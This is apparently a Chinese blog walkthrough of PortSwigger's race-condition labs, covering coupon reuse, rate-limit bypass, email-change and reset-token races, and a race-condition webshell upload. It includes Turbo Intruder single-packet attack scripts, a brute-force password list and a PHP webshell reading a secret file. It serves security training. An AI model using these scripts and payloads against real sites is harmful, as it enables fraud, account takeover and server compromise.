Race conditions 条件竞争漏洞

渗透技巧 10个月前 admin
179 0 0


Race conditions 条件竞争漏洞


James kettle论文地址:https://portswigger.net/research/smashing-the-state-machine

由于公众号格式问题,大部分链接无法直接跳转,可到原文访问:https://www.notion.so/javeley/133620313d204458925ba7f1293824ee?pvs=4

条件竞争漏洞是与业务逻辑缺陷密切相关的常见漏洞,当网站再同时处理多个请求而没有足够的保障措施时,就会发生这种情况。这会导致多个不同线程同时与相同的数据交互,从而导致冲突。


Race conditions 条件竞争漏洞

           全文预计12200字,阅读30分钟;水文一篇,大佬轻喷?

实验前提

  • BurpSuite 2023.9版本之后
  • 目标支持HTTP/2 ,因为single packet attackHTTP/1不兼容

Limit Overrun race conditions 限制性条件竞争

本实验的目的是通过多次使用折扣,以非正常价格购买一件名为Lightweight L33t Leather Jacket. $1337.00 的夹克;

Lab: Limit overrun race conditions | Web Security Academy

首先登陆wiener/peter 账户,系统默认给我们50美刀,将最贵的夹克加入购物车并使用优惠券代码: PROMO20

手动复现

可以看见优惠券校验的请求为/cart/coupon  价格减少了$267.40 (我的钱包少钱是我已经购买过东西)

Race conditions 条件竞争漏洞

当我们想再叠加一次优惠券时会提示”Coupon already applied“  ,看来服务器会校验是否已经使用了优惠券。

想象一下,后端代码的工作流程

  1. 检查是否已经使用了折扣代码
  2. 未使用? 将折扣价格设置为订单价格; 使用? 直接返回
  3. 更新数据库,记录已经使用的折扣代码
Race conditions 条件竞争漏洞

那如果同时并发请求使用优惠券呢?(这边使用的2023.9Turbo Intruder版本早期的race.py脚本跑得到的结果)?

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=True
                           )

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    for i in range(30):
        engine.queue(target.req, target.baseInput, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)

虽然提示都失败了,但是依旧给我多叠加了一个优惠券,价格减少了481.32  成功率很低….

Race conditions 条件竞争漏洞
Race conditions 条件竞争漏洞

Smashing the state machine: the true potential of web race conditions这项研究推出之前我已经觉得这个race方式很强大了,直到我尝试了单包发送…我才知道这中race方式是多么弟弟… 成功率居然百分百???

废话不多说,我们先手动体验一把。先把已使用的优惠券移除,然后按住Ctrl+R 使用Repeater复制二十个使用折扣券标签页,然后组合成一组。选择send group parallel 回到第一个页面内点发送。

Race conditions 条件竞争漏洞

然后去到其他页面查看response,你就能看到清一色的Coupon applied (取决于网络波动,100%成功我偶尔会出现)

回到订单页面,可以神奇的看到优惠券减了很多钱!如果折扣不满意可以移除优惠券继续操作到满意为止

Race conditions 条件竞争漏洞

最后直接place order 通关!

Race conditions 条件竞争漏洞

脚本复现

手动创建几十个repeater数据包还是有些呆,官方也很贴心的给出了对应的脚本

默认发送20个包,失败的只有一个,成功率还是很高的。当然最主要的是网络波动,其中有几次试验,20个包只有2个成功….

Race conditions 条件竞争漏洞
Race conditions 条件竞争漏洞

总结

  • 这类限制性的竞争漏洞有很多衍生,比如:
    • 多次兑换礼品卡
    • 多次评论
    • 提取超过账户余额的钱
    • 重复使用单个图形验证码
    • 绕过爆破频率限制

Bypassing rate limits via race conditions 通过条件竞争绕过爆破频率限制

本实验目的在于绕过登陆处拥有防暴力破解的网站。

Lab: Bypassing rate limits via race conditions | Web Security Academy

试验要求爆破出carlos 账户,通过admin面板删除carlos账户;以下是提供的密码。

123123
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
1234567890
michael
x654321
superman
1qaz2wsx
baseball
7777777
121212
000000

复现

通过尝试,密码错误3次后会出现登陆限制,分别是60s依次往上加时。

潜在的利用条件

  • 每个用户的登陆限制都是错误三次后限时锁定
  • 推断每个用户的失败次数必然会存储下来
  • 由此可见下面逻辑可能出现漏洞
    • 尝试登陆时
    • 当用户多次登陆错误时递增锁定的计时器

首先取得登陆包,创建十几个组合发送,尝试Repeater中的多种分组发送,哪种合适利用。

Race conditions 条件竞争漏洞

经过尝试后,发现还是得靠单包攻击

Race conditions 条件竞争漏洞

在这里就必须需要用到race-single-packet-attack.py脚本稍加修改进行测试了,不然没办法变量填充passowrd,password设置为%s

def queueRequests(target, wordlists):

    # if the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack
    # if they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
    # for more information, check out https://portswigger.net/research/smashing-the-state-machine
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )

    #从剪切板中获取password
    
    passwords =  wordlists.clipboard
    # the 'gate' argument withholds the final byte of each request until openGate is invoked
    for pwd in passwords:
        engine.queue(target.req, pwd,  gate='race1')

    # once every 'race1' tagged request has been queued
    # invoke engine.openGate() to send them in sync
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

如果失败需要多尝试几次

Race conditions 条件竞争漏洞

这漏洞确实很吃网络波动,尝试了好几次才成功爆出密码7777777

Race conditions 条件竞争漏洞

上去之后到admin panel 删除 carlos

Race conditions 条件竞争漏洞

Mult-endpoint race conditions 多端点条件竞争

这里的端点代指服务器上有多个可访问的API接口等服务器路径

Lab: Multi-endpoint race conditions | Web Security Academy

本实验的漏洞与第一个漏洞内容表面上大同小异,主要竞争问题是出现在后端服务器上的接口竞争。

首先是实验目的还是低价购买一件Lightweight L33t Leather Jacket. 夹克,所提供账户密码:wiener:peter

复现

为了先了解网站购物逻辑,搜先我们选择购买礼品卡,并支付购买。

Race conditions 条件竞争漏洞

我们得到两个最主要的数据包:

  1. 当把礼品卡添加到购物车时候会发送一个POST /cart

  2. 提交订单时候会发送 POST /cart/checkout  包

Race conditions 条件竞争漏洞

接下来要对这两个数据包进行测试

  • /cart 数据包发送到Repeater 随机替换Cookie或者把Cookie设置为空 ,发现会生成新的session会话,说明购物车状态是需要登陆或者拥有Cookie才能存储在服务端的。
    • 我也尝试将生成的Cookie用于登陆,然后访问购物车页面,确实可以看见添加的卡片。
Race conditions 条件竞争漏洞

上面的操作说明了,购物车是与Cookie关联的,这说明可以枚举?

  • /cart/checkout请求中值得注意的是: 提交订单和接收已付款成功的订单是在一个页面内完成并展示的(下图GIF)
Race conditions 条件竞争漏洞

这说明确认订单和接收订单成功通知,是在一个请求/响应周期内完成的。 也就是说,购物车提交订单后,服务器会先验证订单是否合法(比如是否有足够的余额支付等),如果验证通过,然后再确认订单并返回成功。所以叫多端点竞争,因为服务器在后台调用了多个接口。又或者说攻击者同时向多个接口发送请求。

这里存在一个竞争窗口:

  1. 客户端发送提交订单请求
  2. 服务器接收请求,开始验证订单
  3. 验证通过,准备确认订单
  4. 这个时间窗口内,客户端可以再发送新增订单商品的请求
  5. 服务器会先处理新增商品请求,修改订单内容
  6. 然后再执行之前验证通过的订单确认

这样就导致了竞争条件 – 服务器在验证订单时,订单内容与最终确认执行的订单内容不同。利用这个时间差,攻击者可以增加订单中的商品从而以低价购买昂贵商品。所以这个单请求/响应的订单处理流程,导致了一个竞争窗口的出现,造成了竞争条件的可能。

当然,也并不是绝对的。也不是说支付时候跳转第三方这种支付和确认支付不在同一个页面中形式是安全的

主要原因是:

  1. 订单提交和确认支付存在时序先后关系,中间存在一个窗口期(比如第三方调用微信支付,即使支付成功返回购买页面,也是需要等待几秒钟网站才回购买成功信息。)

  2. 这个窗口期内,订单的状态是已提交但未确认,可能被再次修改。

  3. 攻击者可以在这个窗口期发送修改订单请求。

举个例子:

  1. 用户在订单提交页提交了订单,这时订单处于已提交未确认状态。
  2. 页面跳转到第三方支付页面。
  3. 在这个时间档期内,攻击者可以通过另一个会话向购物车页发送添加商品请求。
  4. 新增商品请求会被先处理,订单中的商品发生变化。
  5. 用户支付成功返回时,会根据先前已提交的订单信息去确认订单。
  6. 由于订单信息已被修改,所以确认的订单也包含了额外添加的商品。

所以无论订单处理流程如何改变**,关键在于订单提交和确认之间存在一个可以被利用的时序窗口**。这就可能导致竞赛条件的产生。 解决方法通常是在订单提交时就申请一把锁,确认支付时校验这个锁,防止中间状态被修改。或者将整个下单过程作为一个事务来处理,防止中间状态被修改

Race conditions 条件竞争漏洞

这个漏洞的重要点就是在于利用服务器校验订单的空隙对原有订单的商品进行修改,达到一个竞争的效果。

通俗说就是,提交了A订单(10¥),服务器读取购物车生成购买订单数据,余额是否足够支付订单A内的商品,在校验完成后,生成支付订单过程中,我快速将购物车中的A的商品换B高价格的商品。 最终导致支付订单生成的是10¥ 而购买的确是300¥的商品

长篇大论了一大堆,其实不用纠结服务器内部运作逻辑,只需要记住:订单生效和确认之间时间差,利用这个时间差进行条件竞争。通过控制向不同接口的请求时间,诱发状态不一致,从而达成非预期的效果。关键在于找到可以并发访问的接口,并控制请求顺序造成竞争条件

那么究竟怎么实现这个操作呢?

首先先保存好下面几个数据包,确保购物车内拥有一件足以支付的商品。

  • 添加gift card
  • 添加与移除jacket
  • 提交订单包

发送顺序是1. 添加jacket 2. 移除jacket 3. 添加gift card  4. 提交订单,并且确保每次购物车里都存在一张gift card商品。 反复重复几次,直到成功为止 视频

https://cdn.jsdelivr.net/gh/Javeleyqaq/images/2023/05/202308131430168.mp4

看完上面操作是不是有点晕??? 前面长篇大论的说了一大堆不是说在验证订单过程中插入新商品吗?怎么又变成了新增删除再新增的操作了…

我只能说从提交到支付是一个复杂的操作流程,每一步都有可能相互共享线程,存在多种可能性。

另一种方式

上面方法发送了4个请求包,不太直观。接下来我们尝试只发两个请求包,并且是在支付过程中插入新商品。

首先保证购物车中存在一张gift 卡,将支付包和添加jacket包发送到repeater 并行发送

Race conditions 条件竞争漏洞

效果还是一样的

Race conditions 条件竞争漏洞

Single-endpoint race conditions 单端点条件竞争

实验目的: 通过条件竞争,更改账户的电子邮箱为任意邮箱地址,绕过邮箱验证。

Lab: Single-endpoint race conditions | Web Security Academy

这实验的漏洞效果在Smashing the state machine: the true potential of web race conditions | PortSwigger Research 白皮书中有提及过,下面是视频演示。

https://www.youtube.com/watch?v=Y0NVIVucQNE

复现

实验介绍中让我们把wiener账户的邮箱自改为[email protected] 并进入Admin panelcarlos账户删除

首先先正常访问靶场登陆,修改邮箱地址

Race conditions 条件竞争漏洞

POST /my-account/change-email 请求发送到Repeater中连续发送两条更新邮箱请求,或者是你手动点击两次也无所谓。

Race conditions 条件竞争漏洞

邮箱内收到了两条右键,点击时间为33s收到的这一条邮件,发现提示:"This link is invalid."   而点击34s收到的就提示Your email has been successfully updated

这说明:该网站每次只存储一个待处理的电子邮件,当提交更改邮件时,会对数据库中的邮件地址进行编辑,而不是追加到库中,因此可能会发生冲突。

既然如此我们尝试普通的高并发请求,会不会导致线程错乱处理出问题。这里直接就使用Intruderemail开头的wiener作为变量,发送为1wiener2wiener….

Race conditions 条件竞争漏洞
Race conditions 条件竞争漏洞

发现邮件已经出问题了,收件人跟确认更改的地址对应不上。

Race conditions 条件竞争漏洞

但是面临一些挑战:

  1. 要求更改为指定的email
  2. 始终只有最新发送的邮件链接才会有效

Inturder并发中如何保持这两个条件? 答案是不用Inturder实现?

将两个相同的POST /my-account/change-email  包发送到Repeater,组合为single packet attack 发送

其中一个包内容为正常要更改的邮件地址,另一个包内容为[email protected]

Race conditions 条件竞争漏洞

发送后来到邮箱查看,如果不成功多次尝试,还需要一些运气,你就会得到一样的效果。

Race conditions 条件竞争漏洞

删除Carlos账户即可完成靶场

Race conditions 条件竞争漏洞

当然,使用Turbo Inturder也是可以实现的,只是没Repeater方便

def queueRequests(target, wordlists):

    # if the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack
    # if they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
    # for more information, check out https://portswigger.net/research/smashing-the-state-machine
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )

    # the 'gate' argument withholds the final byte of each request until openGate is invoked
    #for i in range(20):
    engine.queue(target.req,"wiener@exploit-0a3000ea04738f688224c39701bf00a1.exploit-server.net", gate='race1')
    engine.queue(target.req,"[email protected]",gate='race1')

    # once every 'race1' tagged request has been queued
    # invoke engine.openGate() to send them in sync
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)
Race conditions 条件竞争漏洞

Exploiting time-sensitive vulnerabilities 绕过时间戳重置密码

该靶场虽然不包含条件竞争问题,但是确是在与时间竞争?

Lab: Exploiting time-sensitive vulnerabilities | Web Security Academy

试验步骤:

  1. 观察网站重置密码中token的生存规律,找出漏洞
  2. 利用漏洞重置carls账户
  3. 登陆carlos账户访问admin panel并删除carlos

提供的账户:wiener/peter

观察

正常走forgetpasswd流程,发送几封重置wiener密码邮件到邮箱,观察邮箱中重置链接的规律

/forgot-password?user=wiener&token=76a59f02724fa906bb05dadce05836eefbd1d686

尝试多发几封,可以发现除了user=wiener 是一样的,token是属于随机生成,但是长度是一致的。

  • 既然长度一致,说明它要么是某些数据散列、要么是某些字符串加密。
  • token每次都不一样说明,在生成时包含了某些状态,比如计数器、时间戳

根据上面两点,尝试使用并发的方式发送重置密码;还是常规操作,将/forgot-password

复制两个到Repeater 进行分组组合,选择sending request in parallel 发送

尝试多次发现,两个请求直接间隔总是会相差300毫秒以上,甚至是一倍之多。且电子邮件中的token每次都是不一样的。

Race conditions 条件竞争漏洞

由此可得知,虽然我们选择了并行发送,服务器并没有并行处理两个请求,依然是按顺序处理请求。

绕过

注意观察,请求Cookie中包含了Cookie: phpsessionid=xxxxxxxx   说明网站后端使用了php语言,这意味着服务器处理时,对每个会话一次只处理一个请求。

既然这样我们尝试用不同的会话进行并发请求。

GET /forgot-password 请求中的Cookie删除并发送,从响应中提取新的Cookie

Race conditions 条件竞争漏洞

使用新的cookie提交并取得csrf 然后并发请求,可以看到这回的响应时间,都是996毫秒

Race conditions 条件竞争漏洞

查看邮箱发现生成的token是一致的

Race conditions 条件竞争漏洞

确认了时间戳必然是生成token的凭证之一,这也意味着,如果能知道其他生成参数,token将是可伪造的。

在重置密码链接中只包含了两个参数

/forgot-password?user=wiener&token=76a59f02724fa906bb05dadce05836eefbd1d686

既然user参数是独立的,这表明可能token中的hash生成时并不将user加入其中,那么这就有可能导致两个不同的user理论上具有相同的token

既然这样就尝试并发请求,将其中一个包账户设置为carlos ,只要响应时间一致,token肯定一致,虽然无法观察到carlos的链接

Race conditions 条件竞争漏洞

两个请求包得到一致的响应时间,来到邮箱只收到了一封邮件

/forgot-password?user=wiener&token=6d1d68831de619a8dc2613a83f108c00a40cb34c

尝试将wiener 改成carlos 访问,如果没有提示 "Invalid token" 说明就是成功了,改掉的密码就是carlos密码

Race conditions 条件竞争漏洞

这个漏洞利用存在一定的运气成分,我反复重启靶场多次,反复调换发送顺序才成功?

最后去panel删除carlos就通过了

Race conditions 条件竞争漏洞

Partial construction race conditions  部分构造条件竞争

这里非常感谢@gtg师傅的指导~

这个漏洞是关于数据构造层面的,比较抽象。例如:在JSON对象构造过程中未来得及初始化而导致的undefined或者null 状态;或是PHP Array 创建过程中的空数组;又甚至是注册新用户时,程序在数据库中创建用户,并使用两个单独的SQL语句设置其密钥。在这一瞬间,用户存在但是他们的密钥未初始化。即在这种情况下,通过注入一个值,该值与数据库中值相对于,便会产生问题

该靶场以PHP为例,在PHP中除了允许使用标准语法来对数组进行赋值如: $param = ['food'] ,还允许使用非标准语法(下标的方式)对数组进行赋值,如: $param[]='food'

根据这些特性得出一些结论:

  • param[]=foo  等同于 param = ['foo']
  • param[]=foo&param[]=bar 等同于 param = ['foo', 'bar']
  • param[] 等同于 param = []
Race conditions 条件竞争漏洞

复现

靶场目的是绕过不存在的(无法登陆)邮箱注册账号。

先正常走一遍注册流程

Race conditions 条件竞争漏洞

注册提示只允许拥有@ginandjuice.shop 邮箱地址的员工才可以注册,通过代理流量发现/resources/static/users.js 文件

Race conditions 条件竞争漏洞

confirmEmail方法拥有POST /confirm  这么一个方法,似乎是通过token参数用于邮箱确认。

Race conditions 条件竞争漏洞
POST /confirm?token=1 HTTP/2
Host: 0a0f005704200d7b802b3a3c00da0084.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Race conditions 条件竞争漏洞

考虑到PHP的特性,尝试发送/confirm?token[]= ,返回”Incorrect token: Array”;由此可确认后端服务解析了token[]= 为数组,有一定可能与未初始化的token相匹配。

根据前面所学知识,尝试在用户提交注册后,token被写入数据库前这个空挡期进行race

使用Turbo Inturder 进行并发,考虑到注册步骤username不能重复,所以将uname设置为%s变量。且应是先register后才能进行token验证

def queueRequests(target, wordlists):
    
        engine = RequestEngine(endpoint=target.endpoint,
                                concurrentConnections=1,
                                engine=Engine.BURP2
                                )
        
        confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a0f005704200d7b802b3a3c00da0084.web-security-academy.net
Cookie: phpsessionid=N7TCMvqWeGxy37t94UXs0WOxoetbsLHx
Content-Length: 0
    
    '''

        for attempt in range(20):
            currentAttempt = str(attempt)
            username = 'User' + currentAttempt
        
            # 队列化注册请求
            engine.queue(target.req, username, gate=currentAttempt)

            # 将50个确认请求排入队列 - 注意这可能会以两个独立数据包被发送
            for i in range(50):
                engine.queue(confirmationReq, gate=currentAttempt)
            
            # 把的所有队列中请求都发送出去(正确的是一次发51个包)
            engine.openGate(currentAttempt)
    
def handleResponse(req, interesting):
    table.add(req)

按照长度排序,注意查看200响应

Race conditions 条件竞争漏洞

登陆,删除carlos账号

Race conditions 条件竞争漏洞

扩展

除了PHP,还有一些其他语言也存在类似通过数组下标语法构造数组的功能,这样也会带来部分构造竞争条件的风险

- Ruby on Rails

RoR中可以通过类似params[:key]的语法,而不给:key赋值,就可以构造一个键为:key的值为空的Hash对象,这也容易被利用构造竞争条件。

params = {"param"=>{"key"=>nil}}

- JavaScript:

JS中,可以通过arr[0] = 'foo'的语法给数组赋值,这与let arr = ['foo']效果相同,也可能被利用。

- Perl:

Perl中可以通过push @arr, 'foo'语法给数组追加元素,这与直接定义数组语义上等价

- Java:

尽管Java本身不支持这种语法,但一些Web框架如Spring MVC对请求参数处理提供了类似的功能,还是存在被利用的风险。

- C#:

C#中可以通过索引器语法给数组、List赋值,如arr[0] = 1,这与其他语言存在同样的问题。

Web shell upload via race condition 条件竞争上传Webshell

Lab: Web shell upload via race condition | Web Security Academy

这个靶场分类是在upload 类型漏洞的,但是也是属于条件竞争,一起练习了吧。

实验目的:

提供了wiener:peter 账户,要求通过上传头像时对PNGJPG白名单绕过上传webshell

以下为后端代码:

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowedn";
        return false;
    } else {
        return true;
    }
}
?>

服务器接收到图片先将图片移动到指定目录

move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

接着才会对文件类型进行校验,如果类型不通过才对文件unlink删除

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowedn";
        return false;
    } else {
        return true;
    }
}
function checkViruses($fileName) {
    // checking for viruses
    ...
}

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

这意味着删除文件之前会拥有一个竞争窗口让我们访问文件

复现

正常上传图片,发现上传成功的图片并没有重新命名文件,且上传后的路径是已知的/files/avatars/xxxx.png

repeater中构造两个请求包,其中一个是访问头像,一个是上传头像,内容要求为

<?php echo file_get_contents('/home/carlos/secret'); ?>

假设上传的文件名为exp.php,那么访问的路径就是/files/avatars/exp.php

将两个请求组合并发几次,最后得到的响应放flag填入即通过

Race conditions 条件竞争漏洞









Hello,这里是klf

Race conditions 条件竞争漏洞


Race conditions 条件竞争漏洞


一位不愿透露姓名的热心网友



原文始发于微信公众号(一位不愿透露姓名的热心网友):Race conditions 条件竞争漏洞

版权声明:admin 发表于 2023年9月12日 下午3:27。
转载请注明:Race conditions 条件竞争漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...